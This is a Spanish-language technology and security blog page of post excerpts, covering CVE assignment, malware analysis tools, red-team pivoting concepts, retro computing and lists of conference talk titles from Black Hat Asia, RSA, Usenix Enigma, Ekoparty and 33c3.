Cuando descubres una vulnerabilidad, si el producto afectado es parte de la lista que monitoriza MITRE , puedes enviarles la información sobre la misma y si es aceptada, se le agigna un número único con el formato CVE-YYYY-XXXXX, dónde YYYY es el año y XXXXX es un número secuencial, que se reinicia cada año, lo que hace que la combinación YYYY-XXXXX sea única. A parte de a la asignación de dicho número, a éste también se le asigna un estado, de forma que se puede tracear si la vulnerabilidad ha sido corregida o no y en qué versión del producto. Normalmente cuando la vulnerabilidad ha sido corregida, el descubridor de la misma, suele liberar los detalles de explotaión y/o un ejemplo de cómo explotarla, lo que también se conoce como prueba de concepto o Proof Of Concept (POC).

Cómo crear tu propio editor de texto

Si hay una herramienta básica y necesaria en un sistema operativo, además de la shell, ésta es el editor de texto. Estos pueden ser super simples, aún recurdo haber usado cosas como Ed o Edit , o muy potentes, por nombrar alguno: Vi/Vim, Emacs, Sublime Text, VSCode, Atom, etc

Aunque el concepto del editor de texto es simple, la implementación o creación de una herramienta de este tipo, se puede convertir en una tarea bastante compleja, dependiendo de cuanta funcionalidad quieras añadir.

Retos de algoritmos y estructuras de datos en …

*Operaciones con pilas*

Si estás buscando trabajo como programador o te lo estás pensando, es muy importante que vayas bien preparado a las entrevistas de trabajos, no sólo tendrás más opciones para conseguir que te contraten, sino que además podrás negociar tu sueldo de acuerdo a las habilidades que has demostrado.

Interactive Coding Challenges es un proyecto alojado en Github en el que se recogen, hasta la fecha, un total de 120 retos de programación interactivos, sacados de preguntas comunes en entrevistas de trabajo. Además de los retos, también se incluyen las soluciones y Anki Flashcards (tarjetas de memorización). Todos los retos constan en resolver preguntas relacionadas con estructuras de datos y algoritmos.

Análisis de malware online con Cuckoo

*Cuckoo Sandbox Dashboard*

Idealmente si nos dedicamos al análisis de malware, deberíamos tener nuestro propio laboratoriio. Una de las herramientas esenciales en dicho laboratorio debería ser Cuckoo .

Pero si no nos dedicamos a ello, no tenemos los recursos para montar nuestro laboratorio o simplemente no tenemos acceso al mismo, podemos ayudarnos de herramientas online, como: VirusTotal o en este caso, motivo de esta entrada, desde este sitio web: https://linux.huntingmalware.com/ .

Monitor de sistema para macOS

*Monitor.app*

FireEye ha creado una herramienta para macOS llaamada Monitor.app .

Esta es una herramienta de escritorio que te permite monitorizar ciertos eventos del sistema, tales como:

• Ejecución de procesos con argumentos en línea de comandos
• Creación de ficheros (si se escriben datos)
• Renombramiento de ficheros
• Actividad de red
• Peticiones y respuestas DNS
• Carga dinámica de librerías
• Eventos de consola (TTY)

Viene a ser algo así como la famosa herramienta Procmon de Sysinternal

Presentaciones de Black Hat Asia 2017

*Black Hat Asia 2017*

Ya podemos acceder a muchas de las presentaciones de la edición asiática de Black Hat de este año :

• The Seven Axioms of Security
• Why We are Not Building a Defendable Internet
• Man-in-the-SCADA: Anatomy of Data Integrity Attacks in Industrial Control Systems
• 24 Techniques to Gather Threat Intel and Track Actors
• 3G/4G Intranet Scanning and its Application on the WormHole Vulnerability
• All Your Emails Belong to Us: Exploiting Vulnerable Email Clients via Domain Name Collision
• Anti-Plugin: Don’t Let Your App Play as an Android Plugin
  • asia-17-Luo-Anti-Plugin-Don’t-Let-Your-App-Play-As-An-Android-Plugin.pdf
  • asia-17-Luo-Anti-Plugin-Don’t-Let-Your-App-Play-As-An-Android-Plugin-wp.pdf
• Betting Against the House: Security and Stability When the Odds are Against You
• Beyond the Blacklists: Detecting Malicious URL Through Machine Learning
• Breaking Korea Transit Card with Side-Channel Attack - Unauthorized Recharging
  • asia-17-Kim-Breaking-Korea-Transit-Card-With-Side-Channel-Attack-Unauthorized-Recharging.pdf
  • asia-17-Kim-Breaking-Korea-Transit-Card-With-Side-Channel-Attack-Unauthorized-Recharging-wp.pdf
• Cache Side Channel Attack: Exploitability and Countermeasures
• Cross the Wall - Bypass All Modern Mitigations of Microsoft Edge
  • asia-17-Li-Cross-The-Wall-Bypass-All-Modern-Mitigations-Of-Microsoft-Edge.pdf
• Daily-Life Peeper: Bug Hunting and Exploit Techniques in IoT
• Delegate to the Top: Abusing Kerberos for Arbitrary Impersonations and RCE
  • asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE.pdf
  • asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE-wp.pdf
  • asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE-tool.ps1
• Dig Into the Attack Surface of PDF and Gain 100+ CVEs in 1 Year
  • asia-17-Liu-Dig-Into-The-Attack-Surface-Of-PDF-And-Gain-100-CVEs-In-1-Year.pdf
  • asia-17-Liu-Dig-Into-The-Attack-Surface-Of-PDF-And-Gain-100-CVEs-In-1-Year-wp.pdf
• Domo Arigato Mr. Roboto: Security Robots a la Unit-Testing
  • asia-17-Law-Domo-Arigato-Mr-Roboto-Security-Robots-A-La-Unit-Testing.pdf
  • asia-17-Law-Domo-Arigato-Mr-Roboto-Security-Robots-A-La-Unit-Testing-wp.pdf
• Drop the ROP: Fine-Grained Control-Flow Integrity for the Linux Kernel
  • asia-17-Moreira-Drop-The-Rop-Fine-Grained-Control-Flow-Integrity-For-The-Linux-Kernel.pdf
• Exploiting USB/IP in Linux
  • asia-17-Korchagin-Exploiting-USBIP-In-Linux.pdf
  • asia-17-Korchagin-Exploiting-USBIP-In-Linux-wp.pdf
• Fried Apples: Jailbreak DIY
  • asia-17-Bazaliy-Fried-Apples-Jailbreak-DIY.pdf
• Go Get My/Vulnerabilities: An In-Depth Analysis of Go Language Runtime and the New Class of Vulnerabilities It Introduces
• Hack Microsoft Using Microsoft Signed Binaries
• Hacking HTTP/2 - New Attacks on the Internet’s Next Generation Foundation
• Hello From the Other Side: SSH Over Robust Cache Covert Channels in the Cloud
  • asia-17-Schwarz-Hello-From-The-Other-Side-SSH-Over-Robust-Cache-Covert-Channels-In-The-Cloud.pdf
  • asia-17-Schwarz-Hello-From-The-Other-Side-SSH-Over-Robust-Cache-Covert-Channels-In-The-Cloud-wp.pdf
  • asia-17-Schwarz-Hello-From-The-Other-Side-SSH-Over-Robust-Cache-Covert-Channels-In-The-Cloud-tool.zip
• Locknote: Conclusions and Key Takeaways from Black Hat Asia 2017
• MASHaBLE: Mobile Applications of Secret Handshakes Over Bluetooth LE
• Mobile-Telephony Threats in Asia
• Myth and Truth About Hypervisor-Based Kernel Protector: The Reason Why You Need Shadow-Box
• Never Let Your Guard Down: Finding Unguarded Gates to Bypass Control Flow Guard with Big Data
• Open Sourcing Automotive Diagnostics
• Phishing for Funds: Understanding Business Email Compromise
  • asia-17-Turpin-Phishing-For-Funds-Understanding-Business-Email-Compromise.pdf
• Remotely Compromising iOS via Wi-Fi and Escaping the Sandbox
• The Irrelevance of K-Bytes Detection - Building a Robust Pipeline for Malicious Documents
  • asia-17-Amiga-The-Irrelevance-Of-K-Byte-Detection-Building-A-Robust-Pipeline-For-Malicious-Document.pdf
• The Power of Data-Oriented Attacks: Bypassing Memory Mitigation Using Data-Only Exploitation Techniques
• The UEFI Firmware Rootkits: Myths and Reality
• What Malware Authors Don’t Want You to Know - Evasive Hollow Process Injection
  • asia-17-KA-What-Malware-Authors-Don’t-Want-You-To-Know-Evasive-Hollow-Process-Injection.pdf
  • asia-17-KA-What-Malware-Authors-Don’t-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf

Taller de análisis de malware

*Malware Unicorn*

Amanda Rousseau ha liberado el material de su taller sobre introducción a la ingeniría inversa de software malicioso (malware) .

El contenido está dividido en 6 secciones:

1. Fundamentals
   1. Enviroment Setup
   2. Anatomy of a Windows PE C program
   3. x86 Assembly Language
2. Malware Overview
   1. Typical Attack Flow
   2. Malware Techniques
3. Reverse Engineering (RE) Tools
4. Triage Analysis
5. Static Analysis
6. Dynamic Analysis
   1. Dynamic Analysis
   2. Finale

El contenido no es muy extenso, pero tiene bastante contenido gráfico que lo hace más ameno.

Liberación de Research Unix 8, 9 y 10

*UNIX*

Alcatel Lucent ha hecho pública una nota (PDF) en la que comunica, de acuerdo con ella misma y Nokia Bell Labs, la liberación de las versiones 8, 9 y 10 de Research Unix. Estas versiones se pueden user con fines no comerciales. También dejan claro que esta liberación no conlleva la transferencia de propiedad intelectual, cesión de patentes usadas en los mismos, ni cesión de derechos de uso. Y finalmente añaden que no proporcionan ningún tipo de garantías ni soporte.

Pixar in a Box

*Pixar in a Box*

En la web de Khan Academy hay una sección denominada Pixar in a Box , que en colaboración con Pixar Animation Studios , publican una seria de vídeos con trucos y técnicas de diseño gráfico usadas por esta en la producción de sus películas.

Hace tiempo que sigo la publicación de estos vídeos, y aunque no los he visto todos, los que sí he vistos son súper interesante, y no porque me guste el tema del diseño gráfico, sino por la sencillez de cómo hacen las cosas, haciendo uso de conceptos básicos de matemáticas, se puden conseguir cosas verdeaderamente espectaculares.

Técnicas de pivote para el Equipo Rojo

El equipo rojo es el encargado de atacar la infraestructura objetivo. Aparte de la parte de recogida de información y demás, el primer reto es el penetrar en la red de alguna forma, ya sea aprovechando alguna vulnerabilidad en una aplicación web o algún otro sistema, a través de técnicas de ingeniería social, etc. Una vez dentro el objetivo es comprometer la red llegando a los servidores que controlan la misma. Para ello, el atacante primero debe conocer y tener una buena visibilidad de la red en sí. La forma en que esto se lleva a cabo es “pivotando” o “moviéndose lateralmente”. Esto es, desde el sistema o sistemas que tenemos comprometidos, empezar a explorar la red e ir saltando y mapeando su infraestructura. Esta tarea puede ser más o menos fácil dependiendo de la arquitectura de dicha red: segmentación, cortafuegos, etc.

Laboratorios de prácticas con Docker

*Cumpleaños Docker*

Con el motivo del cuarto cumpleaños de Docker, como de costumbre, Docker prepara una serie de prácticas para aprender y familiarizarnos con dicha plataforma. Normalmente éstas se organizan a través de meetups alrededor del mundo.

Para participar en los laboratorios, básicamente uno va a una de dichas meetups, con un ordenador personal con Docker instalado, y en el evento se dan las instrucciones para poder llevar a cabo dichas prácticas. En caso de que necesites ayuda, evidentemente puedes consultar con cualquier otro participante o con alguno de los mentores, personas que están allí precisamente para ayudar.

Diseño de sistemas

Cuando alguien me pregunta en que consiste la programación, respondo que consiste, 80% es pensar y el 20% es escribir código. Desde mi punto de vista y experiencia, los errores de programación en comparación con los errores de diseño son ínfimos. Cambiar algunas líneas de código o re-escribir una función es mucho más fácil que un cambio en el diseño.

El primer paso a la hora de diseñar un sistema es conocer el dominio del mismo, quién lo va a usar, cuántos usuarios va a tener, qué cantidad de datos vamos a manejar, tiene que ser escalable, qué tipo de persistencia necesitamos, etc. Una vez tenemos esos datos o al menos los sufuciente, es hora de crear algunos esquemas, identificar y diseñar los componentes principales del mismo. Luego, cada componente tiene sus problemas específicos, por ejemplo, si estamos hablando con una base de datos relacional, nos debemos preguntar cosas como: replicación, sharding, denormalización, etc. Si hablemos de bases de datos no relacionales, necesitamos bases de datos de documentos, pares de valores, en memoria, necesitamos mayor rendimiento en operaciones de lectura o escritura, etc. Lo mismo con el resto de componentes que podamos necesitar: cachés, colas de mensajes, seguridad, etc.

Guías de estilo de programación de Google

Cuando escribimos software, está claro que el objetivo final es que el mismo sea funcional y que cumpla con los requisitos del sistema. Aparte de la funcionalidad en sí, es importante escribir código que sea fácil de mantener, y esto es especialmente importante si es desarrollado en equipo. Incluso si tu eres el único, te vas a hacer un favor grandísimo escribiendo código bien estructurado y que seas capaz de entender cuando vuelvas a él meses más tarde.

Usborne ha liberado otros cinco libros retro

*Portadas de los libros*

Usborne ha ido liberando varios libros de informática de los años 80s. Aquí ya hablamos en su día de alguno de ellos. Hace poco liberaron otros cinco libros:

• Practise your Basic
• Better Basic
• How to make computer-controlled robots
• Experiments with your computer
• Keyboards and computer music

¡Qué tiempos aquellos!

SAVE, un estudio sobre la Ingeniería Social 2.0

*SAVE*

Si hay una técnica de hacking que no tiene antídoto, esa es la Ingeniería Social. Por ello, ésta es seguramente la técnica más efectiva actualmente. El exponencial uso de las redes sociales y sobre todo el uso de internet como plataforma para buscar nuestro minuto de gloria, los usuarios descuidan la cantidad de información que publican. Esta información, aunque parezca inofensiva y “poco” personal, es crucial a la hora de ser usada para que alguien pueda impersonar nuestra identidad, o inlcuso sea usa en contra nuestra para ganar nuestra confianza y por consiguiente ser victima de un ataque de ingeniería social.

Nueva colección de software para Apple II

*Colección de discos de 3D0G Knight*

Jason Scott está llevando a cabo una tarea tremendamente impresionante en su lucha por preservar software que hoy en día se considera prácticamente inútil. En su colaboración con Archive.org , una de las colecciones que Jason mantiene es la de software para Apple II. Ya en su día hablamos de la gran colección de 4am , esta nueva colección pertenece a un pirata/coleccionista (no lo digo yo, así lo califica Jason ) se hace llamar 3D0G Knight, en ésta hay más de 500 aplicaciones/juegos de los años 80s, descargables y desprotegidas (crackeadas). Puedes descargar los ficheros individuales o probarlos directamente a través del emulador web alojado en la propio Archive.org. Si quieres descargarte la colección completa, puedes hacerlo desde este enlace .

Microhistoria, La "bellota" que originó la …

*IBM PC Original. Fuente Wikipedia*

A finales de los 70s, empresas como Commodore, Apple, Atari, Tandy o Digital Research, entre otras, se habían empeñado en llevar el ordenador del ámbito profesional al personal. IBM que claramente gobernaba el mercado del ordenador empresarial, se preguntaba si debería unirse a la batalla del ordenador personal y tomarse su parte del pastel.

Éste fue precisamente el motivo de la visita de William C. Lowe, por aquel entonces manager de la Unidad de Negocio Independientes (UNI) o Independent Business Unit (IBU) de los Sistemas de Nivel Básico de IBM en Boca Ratón (Florida), a las oficinas principales de IBM en Armonk (Nueva York), para reunirse con John Opel y Frank Cary, presidente y director ejecutivo, respectivamente, de la todopoderosa IBM, éste último precisamente creador de dicha UNI, además de otras.

Infraestructura del nuevo blog

Como publicamos ayer , no sólo hemos cambiado la imagen del blog, sino practicamante toda la infraestructura del mismo.

Hace bastante tiempo que tenía en la cabeza la idea de mover el blog de Wordpress a un sitio estático por las razones que ya comentamos.

El primer intento de migración fue usando Jekyll (la versión 3 acababa de salir), quizás el generador de sitiios web estático más popular. Éste tiene gran soporte y la plataforma esta muy bien, pero el problema es que tardaba en generar el blog unos 45 minutos. Todo esto corriendo en un sistema con Ubuntu Linux, 16Gb de RAM, SSD y un procesador Intel i7 quad core. Luego probamos Octopress , con prácticamente el mismo resultado. Ambas plataformas están escritas en Ruby. También probé otra, que no recuerdo el nombre, que estaba escrita en Python, a parte de no mejorar el rendimiento, no era tan versátil como Jekyll. Aquí el problema estaba claro, el languaje de programación. No es secreto alguno, que los lenguajes interpreatados son mucho más lentos que los compilados.

Nuevo cambio de look y nueva plataforma

Una vez más, hemos decidido que no sólo era hora de actualizar el diseño del blog, sino también de plataforma. Desde los comienzos del blog, hace ya casi diez años, Wordpress ha sido la plataforma elegida. Wordpress, en nuestro caso, siempre ha hecho su trabajo de forma decente. La administración del mismo es muy sencilla, es flexible y hoy en día es la plataforma más usada en la blogosfera, e incluso corporaciones. Todo esto es posible a una gran comunidad de usuarios que se dedica a crear de plugins, temas, etc.

Vídeos de Usenix Enigma 2017

Aquí tenéis los charlas (vídeos y algunas diapositivas) de la edición de este año de la conferencia Usenix Enigma:

• Human Computation with an Application to Passwords
• Moving Account Recovery beyond Email and the "Secret" Question
• Secrets at Scale: Automated Bootstrapping of Secrets & Identity in the Cloud
• Inside "MOAR TLS:" How We Think about Encouraging External HTTPS Adoption on the Web
• Ghost in the Machine: Challenges in Embedded Binary Security
• LLC Cache Attacks: Applicability and Countermeasures
• IoT, a Cybercriminal's Paradise
• Hacking Sensors
• Test Driven Security in Continuous Integration
• As We May Code
• Leveraging the Power of Automated Reasoning in Security Analysis of Web Applications and Beyond
• Startups + Industry: How Everyone Can Win
• Behaviors and Patterns of Bulletproof and Anonymous Hosting Providers
• StreamAlert: A Serverless, Real-time Intrusion Detection Engine
• Neural and Behavioral Insights on Trust
• What Does the Brain Tell Us about Usable Security?
• Brains Can Be Hacked. Why Should You Care?
• Won't Somebody Please Think of the Journalists?
• Security in the Wild for Low-Profile Activists
• Why Philanthropy Is Critical for Cybersecurity
• Security for Vulnerable Populations—On the Interplay of Weapons of Influence and Life Domains in Predicting Older Adults' Susceptibility to Spear-Phishing Emails
• Beyond Warm & Fuzzy: Ethics as a Value Prop
• Legislative Engineering: Design Privacy Laws, Don't Just Draft Them
• The Paper Ballot Is Not Enough
• What Cybersecurity Can Learn from the Secret Service
• How WhatsApp Reduced Spam while Launching End-to-End Encryption
• Drawing the Foul: Operation of a DDoS Honeypot
• Putting Privacy Notices to the Test
• Understanding and Designing for End Users' Security Expectations
• Deviation from the Norms: The Necessity and Challenges of a Norms-based Approach to Digital Offense
• FeatureSmith: Learning to Detect Malware by Mining the Security Literature
• Classifiers under Attack
• Adversarial Examples in Machine Learning
• Cyber Security: A DARPA Perspective
• National Scale Cyber Security
• Green Sprouts: Encouraging Signs of Life from the Department of Defense’s 2016 Security Strategy
• Understanding and Securing DoD Weapon Systems

Cómo crear un sistema operativo desde 0

Una de las asignaturas de las que más disfruté en la universidad fue la de sistemas operativos. Es una de esas clases en la que aprendes, en gran medida, los pilares de los sistemas actuales.

Aunque crear un sistema operativo desde cero sea algo intimidante, no quiere decir que tu no puedas o debería intentar crear uno.

Operating System: From 0 to 1, es un libro electrónico (PDF) que te ayudará a crear tu propio sistema operativo. El libro está divido en tres partes. Las dos primeras están completas, a excepción de un capítulo de la primera parte, que está casi completo. La tercera parte aunque aún no está completa, no es esencial para poder crear algo funcional, esta parte está enfocada más en la expansión de la base, la cual está cubierta en las dos primeras partes del libro.

Los objetivos de dicho libro es el dar al lector el conocimiento de la base para la construcción de un sistema operativo. Si sigues el libro, al final deberías ser capaz de:

• Escribir un sistema operativo desde cero y saber interpretar las especificaciones técnicas del hardware
• Buen conocimiento sobre ensamblador x86
• Depuración y emulación del hardware con GDB y QEMU
• Interactuar bajo nivel con el hardware usando C

El libro asume que el lector tiene, al menos, los siguientes conocimientos:

• Conocimientos básicos sobre electricidad
• Conocimientos básicos sobre programación en C
• Conocimientos básicos sobre sistemas basados en Linux, especialmente estar familiarizado con la línea de comandos

También dispones de un repositorio en Github con el código fuente usado en el libro.

Otros recursos mencionados en el proyecto sobre el tema:

http://wiki.osdev.org/Main_Page
https://0xax.gitbooks.io/linux-insides/content/

La Inteligencia Artificial es el futuro de la …

Escena de la película “2001 Una Odisea Del Espacio” donde HAL 9000 lee los labios de los astronautas Frank y Dave. Enlace foto.

Se está hablando mucho de la IA (Inteligencia Artificial) y su aplicación en diversos campos como la conducción automática de vehículos o incluso en medicina identificando células cancerígenas mejor que un humano. Estos avances son realmente espectaculares y definitivamente cambiarán la humanidad  pero creo que no se está hablando lo suficiente del tremendo impacto de la IA dentro del mundo de la seguridad informática.

Vídeos de RSA USA 2017

Si no tienes nada que hacer este fin de semana, aquí tienes lo vídeos de la conferencia RSA USA 2017.

• Hello False Flags! The Art of Deception in Targeted Attack Attribution
• The Blockchain Identity Crisis
• From Boot-to-Root: A Method for Successful Security Training
• CISO as Change Agent: Getting to Yes
• Deconstructing Identity Analytics for Higher Risk Awareness
• IoT: End of Shorter Days
• Workplace Violence and IT Sabotage: Two Sides of the Same Coin?
• Radical Innovation: Revolutionizing the Future of Cybersecurity
• Cloud Security Assessments: You're Doing It Wrong!
• Encryption and Back Doors: The Line between Privacy and National Security
• Open Security Controller: Security Orchestration for OpenStack
• Security Policy, Behavior and Analytics for Emerging Architectures
• The Seven Most Dangerous New Attack Techniques, and What's Coming Next
• Break the Risk Paradigms: Overhauling Your Risk Program
• The State of Digital Supplier Risk Management: In Partners We Trust
• War Stories: Corporate Cyberespionage Tales from the Trenches
• Delivering Effective Security Outcomes
• Cybersecurity Roadmap: Global Healthcare Security Architecture
• Cyberwar in 2020
• Delivering Secure, Client-Side Technology to Billions of Users
• Cyber-Apocalypse and the New Cyberwarfare
• The Dridex Swiss Army Knife: Big Data Dissolves the APT and Crime Grey Area
• The Coming Disruption in Security
• Adventures in Underland: What System Stores on the Disk Without Telling You
• Beyond Stuxnet: State of the Art in Cyberwarfare and Weapons
• Eggs and Beacon--Scrambling IoT Beacon Indoor Proximity Systems
• Find Map, Get Treasure, Avoid Pirates--Data Security and Privacy Best Practice
• Hacker's Perspective on Your Windows Infrastructure: Mandatory Check List
• Resurrecting Privacy in the Cloud: A Privacy Engineering Implementation
• Security Leadership Lessons from the Dark Side
• Why Cyber-Training Is Key, and How to Do It Right
• Catching Ghosts: Smart Strategies for Successful Recruitment
• Securing What You Don’t Own or Control: The Current State of Wi-Fi Security
• An Aflac Case Study: Moving a Security Program from Defense to Offense
• Applied Machine Learning: Defeating Modern Malicious Documents
• Crown Jewels Risk Assessment: Cost-Effective Risk Identification
• Auditors in the Cloud: Audit Risk and SaaS Applications
• Planning for Chaos
• RSA Conference 2017 Excellence Awards
• Mobile Authentication at Different Levels of Assurance
• Protecting and Defending against Cyberthreats in Uncertain Times
• Sweating the Small Stuff on a Global Scale
• Briefing the Board: Lessons Learned from CISOs and Directors
• The War in Cyberspace: Why We Are Losing--and How to Fight Back
• EU Data Privacy: What US Orgs Need to Do Now to Prepare for GDPR
• Culture Hacker: How to Herd CATTs and Inspire Rebels to Change the World!
• RSAC TV: Interview with Michael Dell
• Check out RSAC 2017 Expo Halls
• The Cryptographers' Panel
• How to Improve Phishing Awareness by 300 Percent in 18 Months
• Hacking Blockchain
• Hands-On Perspectives: Deploying FIDO-Based Modern Authentication Solutions
• Building a Healthy Organization: The Last Great Competitive Advantage
• STRONG: Leading Security into the Future
• What's Next in Cyber-Policy
• RSAC TV: Oliver Friedrichs Interview
• IoT Ecosystems: An Adversary's Perspective
• A Field Guide to Insider Threat Helps Manage the Risk
• The Five Secrets of High-Performing CISOs
• Global Approaches to Protecting Critical National Infrastructure
• The Human Exploitation Kill Chain
• Regulating the Internet of Things
• What Is Needed in the Next Generation Cloud Trusted Platform?
• What CISOs Wish They Could Say Out Loud
• Tidal Forces: The Changes Ripping Apart Security as We Know It
• Cyber-Insurance--I Do Not Think That Word Means What You Think It Means
• Saving Security: Real Change Starts with You, Me and Everyone
• Hot Topics in Privacy: A Conversation with Google, Microsoft and Cisco
• Help Wanted: Security Heroes and Heroines Only Need Apply
• A Virtual and Software-Defined Security Architecture Workshop
• All Children Left Behind
• Who is Who During a Cyber Incident Response Investigation
• How Google Protects Its Corporate Security Perimeter without Firewalls
• Building a Strategic Plan for Your Security Awareness Program
• Congressional Oversight in the Wake of Russian Hacking
• Changing Face/Fate of Identity
• High-Performance Computing Will Make or Break Cybersecurity
• Advances in Cloud-Scale Machine Learning for Cyber-Defense
• The Future of Ransomware on the Internet of Things
• Security Implications of Non-Financial Uses of Blockchain Technology
• RSAC TV: Phyllis Schneck Interview
• How to Do Security WITH Your Organization, Not TO It
• From Vision to Reality: Delivering Emerging Cyber-Technologies Effectively
• Effective Application Security Testing for DevOps
• The Adversary's New Game Plan
• Three Keys to CISO Success
• Innovation Sandbox 2017: Cato
• RSAC TV: Jennifer Minella Interview
• RSAC TV: Mischel Kwon Interview
• A New Approach for Cybersafety Rules and the “Tech Talk” with Kids
• How to Break the Internet
• NERC: A Comprehensive Approach to Managing Grid Security Risks
• Innovation Sandbox 2017: RedLock
• Innovation Sandbox 2017: Enveil
• Innovation Sandbox 2017: Claroty
• Innovation Sandbox 2017: Contrast
• Innovation Sandbox 2017: Veriflow
• Innovation Sandbox 2017: UnifyID
• Threat Intelligence and Data Analytics Jujutsu
• Innovation Sandbox 2017: GreatHorn
• Innovation Sandbox 2017: UpLevel
• Data Plays the Victim: What Ransomware Has Taken from the Kidnapping and Ransom Industry
• RSAC Innovation Sandbox 2017 - Highlights
• RSAC TV: Gidi Cohen Interview
• Innovation Sandbox 2017: Baffle
• From Hello Barbie to Pokemon Go: The New World of Online Safety
• RSAC TV: Jessy Irwin Interview
• RSAC TV: Chenxi Wang Interview
• Security for Real People: A Case Study
• Quick Look: Hashes for the Masses
• Quick Look: Crowdsourced Security at the Government Level: It Takes a Nation (of Hackers)
• Virtual Session: Know Before You Go, Your RSAC Attack Plan
• Quick Look: Hacking Exposed NextGen
• Quick Look: Diagnosis SOC-Atrophy: What to Do When Your SOC Is Sick
• Quick Look: Charting the Course to GDPR: Setting Sail
• Quick Look: Find Map, Get Treasure, Avoid Pirates--Data Security and Privacy Best Practice
• Quick Look: Opening the Door to DoD Perspectives on Cyberthreat Intelligence
• Quick Look: Drive Revenue by Protecting Customer Privacy: Progress and 2017 Predictions
• Quick Look: IoT End of Days
• Quick Look: Hacker's Perspective on Your Windows Infrastructure: Mandatory Check List
• Quick Look: Psychology of an Eastern European Cybercriminal: Mindset Drives Behavior
• Quick Look: Securing Serverless Applications in the Cloud
• Quick Look: Tracking Darknet: A Window into Attackers' Motives, Methods and Targets
• Quick Look: CISO as Change Agent: Getting to Yes
• Quick Look: One-Hit Wonders: Dealing with Millions of Anomalies
• Quick Look: Meaningful Use or Meltdown: Is Your Electronic Health Record System Secure?
• Quick Look: Measuring Authentication: NIST 800-63 and Vectors of Trust
• HOW TO: Reserve Your Seat for A Session at RSA Conference
• Virtual Session: The Six Most Dangerous New Cyberattack Techniques

Inside Russia’s Hacker Underworld (Bloomberg)

Pon a prueba tus conocimientos sobre Bash

Un buen conocimiento sobre la línea de comandos es una habilidad esencial que cualquier profesional de la informática (programadores, administradores de sistema, seguridad, etc) debe desarrollar con soltura.

En cmdchallenge.com podemos encontrar, como su nombre indica, varios retos que debemos resolver usando comandos de Bash. Todo lo que necesitas es un navegador con javascript y algo de tiempo. Actualmente contiene 15 retos, pero siempre puedes añadir los tuyos propios. El código fuente del proyecto está disponible en Github, y allí también tienes las instrucciones necesarias para añadir tus propios retos.

Cómo se hizo Crash Bandicoot

Aunque he de reconocer que jugar a vídeo juegos no fue o es una de mis pasiones, recuerdo que uno de los juegos que más simpáticos me caían, de la Playstation 1, era Crash Bandicoot.

Algo que sí me apasionaba hacer, era hacer trampas, vidas infinitas, armas infinitas, inmunidad, etc. Pero no era el hecho de hacer trampas para llegar al final, mi objetivo era el encontrar la forma de hacer trampas, encontrar la zona de la memoria donde almacenaban esos datos y modificarlos. Como amaba mi transtape (versión casera) de mi Spectrum y aún más mi Action Replay de mis Amigas…

Nuevo hackathon organizado por INCIBE

INCIBE organiza un nuevo hackathon con el objetivo de desarrollar herramientas, soluciones y/o aplicaciones móviles de código abierto en el ámbito de la ciberseguridad y de la seguridad del Internet de las Cosas (IoT, Internet of Things).

Éste está abierto a estudiantes, profesionales, desarrolladores y/o cualquier persona interesada en el mundo de la seguridad de la información y de las nuevas tecnologías y se celebrará los días 27 y 28 de febrero y 1 de marzo en 4YFN dentro del Mobile World Congress.

Vídeos de ekoparty 12 - 2016

Si no tienes nada planeado para este fin de semana, aquí tienes algo de distracción, los vídeos de las charlas de la pasada conferencia sobre seguridad informática celebrada en Buenos Aires, Argentina, Ekoparty 12.

• Tyler Curtis - Encryption out of LINE
• Juan Berner - Exploiting A/B Testing for Fun and Profit
• Nahuel Cayetano Riva - Getting fun with Frida
• Rodrigo Cetera y Javier Bassi - #KillTheHashes - El Gran Libro para Colorear Malware
• Ezequiel Fernandez y Sergio Viera - Multiple Vulnerabilities in SE PLC
• Joernchen - Let Me GitHub That For You (2016 Argentinian Edition)
• Martin Gendler - Juegos Online, Sociedad y Privacidad: un recorrido socio-histórico
• Sheila Berta y Claudio Caracciolo - Backdooring CAN Bus for Remote Car Hacking
• Nahuel Sánchez y Sergio Abraham - SAP HANA under the hood
• Enrique Nissim - I Know Where Your Page Lives: De-randomizing the Windows 10 Kernel
• Sebastian Garcia - Stratosphere IPS. The free machine learning malware detection
• Patrick Wardle - Strolling into Ring-0 via I/O Kit Drivers
• Nicolas Economou y Diego Juarez - Abusing GDI for ring0 exploit primitives: Reloaded
• Martin Vigo - Do-it-Yourself Spy Program: Abusing Apple's Call Relay Protocol
• Javier Smaldone y Iván Ariel Barrera Oro - Una mala elección
• Drew Suarez y Daniel Mayer - Don't Be a Dummy: A Crash Course in Automotive Security
• Travis Morrow y Josh Pitts - Genetic Malware: Designing Payloads for Specific Targets
• Andrew Robbins y Rohan Vazarkar - Six Degrees of Domain Admin
• Rolf Rolles - Synesthesia: Automated Generation of Encoding-Restricted Machine...
• Julien Lenoir y Raphaël Rigo - Lost your "secure" HDD PIN? We can help!
• Salvador Mendoza - Samsung Pay: Numeros Tokenizados y sus Fallas
• Entrega de premios y cierre
• Moritz Jodeit - Look Mom, I don't use Shellcode: Browser Exploitation for IE 11

Aprender a programar un Terminator y a Bender de …

 

 

Link

Con el auge de la IA ya sabemos que Skynet está cerca y con ella los famosos Terminator. Como todos sabéis los Terminator están programados con este procesador así que es el momento perfecto para aprender a programar un MOS 6502 y así poder re-programarlo y convertirlo en un Roomba. También nos puede ayudar a programar a nuestro querido Bender de Futurama como podéis ver en la imagen que encabeza este post.

Vídeos del Chaos Communication Congress (33c3)

Aunque el congreso sobre hacking/seguridad, Chaos Communication Congress todavía no ha terminado, los vídeos de las charlas que ya se han dado están disponibles. En los momentos de escribir estas líneas, estos son los vídeos disponibles:

• 33C3 Closing Ceremony
• Security Nightmares 0x11
• Surveilling the surveillers
• 33C3 Infrastructure Review
• Virtual Secure Boot
• The Ultimate Game Boy Talk
• Privatisierung der Rechtsdurchsetzung
• Warum in die Ferne schweifen, wenn das Ausland liegt so nah?
• Understanding the Snooper’s Charter
• Rebel Cities
• The Transhumanist Paradox
• Datenschutzgrundverordnung: Rechte für Menschen, Pflichten für Firmen & Chancen für uns
• Genetic Codes and what they tell us – and everyone else
• Retail Surveillance / Retail Countersurveillance
• Lightning Talks Day 4
• The High Priests of the Digital Age
• Beyond Virtual and Augmented Reality
• Community
• The Economic Consequences of Internet Censorship
• Methodisch inkorrekt!
• Ethics in the data society
• Hebocon
• The Zcash anonymous cryptocurrency
• The Universe Is, Like, Seriously Huge
